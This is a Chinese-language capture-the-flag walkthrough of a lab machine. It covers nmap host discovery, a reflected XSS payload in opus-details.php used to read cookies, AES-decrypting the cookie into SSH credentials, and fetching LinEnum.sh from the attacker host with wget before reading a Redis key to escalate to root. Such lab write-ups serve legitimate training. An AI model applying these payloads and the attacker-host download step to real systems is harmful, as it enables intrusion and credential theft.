记录靶场练习
一、主机发现
首先按照惯例,利用nmap进行主机发现,顺便将开放端口也扫描出来。扫描自己主机所在的网段。
nmap 192.168.216.0/24
可以看到IP地址和开放了22和80端口,接下来对服务器信息进行详细的扫描
nmap -A -v -T4 192.168.216.143
网站是使用Apache中间件搭建的,服务器是Debian
二、漏洞发现
访问80端口,看起来并没有特别的地方,只是一个图片展示的网站。
接下来对这个网站进行目录结构扫描,看看是否能扫出有用的文件
依次访问查看是否能够得到有用的信息,访问后img目录和css目录页都是正常的,但是在查看js目录后,发现了一段代码,不知道什么意思。
于是网上查找,就是在url后加上这一段就会跳转到另一个页面,试着尝试访问了一下。
发现无论在id下输入什么字符,都会显示出来,怀疑有xss漏洞,接着上poc
http://192.168.216.143/opus-details.php?id=%3Cscript%3Ealert(%221%22)%3C/script%3E
nice!果然存在漏洞。
三、漏洞利用
利用该漏洞尝试获取cookie信息
id=<script>alert(document.cookie)</script>
很明显这是一个加密后的值,具体是什么加密还不清楚。到这里发现
在这里有我们之前忽略掉的一段代码,可能是利用了“SecretPassphraseMomentum”对cookie信息进行了AES解密,在网上寻找在线解密网站解密后为“auxerre-alienum##”,而且想到服务器还开启了22端口,所以猜想这是一个账号和密码的组合
尝试了几个组合后,才登录了进去
auxerre alienum
alienum auxerre
auxerre alienum##
alienum## auxerre
auxerre auxerre-alienum
alienum auxerre-alienum
正确:auxerre auxerre-alienum##
附上参考网站:AES加密-AES解密-在线AES加密解密工具 (jsons.cn)
其实完全可以编写一个脚本进行测试,这样就不用一个个的去尝试,效率更高。
使用kali连接到服务器
ssh auxerre@192.168.216.143
第一个flag拿到
后续还需进行提权操作。
四、权限提升
在攻击机搭建一个http服务
python3 -m http.server 8001
在靶机下载LinEnum.sh
wget http://192.168.216.128:8001/LinEnum.sh
bash运行脚本收集系统信息保存到1.txt文件
有一个6379端口被监听,而且6379是Redis的默认端口,查看端口占用信息
Redis 服务因配置不当,可被攻击者恶意利用。黑客借助 Redis 内置命令,可将现有数据恶意清空;如果 Redis 以 root 身份运行,黑客可往服务器上写入 SSH 公钥文件,直接登录服务器。
所以连接上数据库尝试提权
查看redis服务下的键,发现有“rootpass”,怀疑是root密码,而且联系上上面“auxerre-alienum##”的关系,猜测"m0mentum-al1enum##"就是root的密码。
成功提权到root,拿到最后一个flag!
撒花!!!
总结
XSS漏洞
AES加密
枚举
LinEnum脚本收集服务器信息
Redis服务6379端口,查看所有key--keys *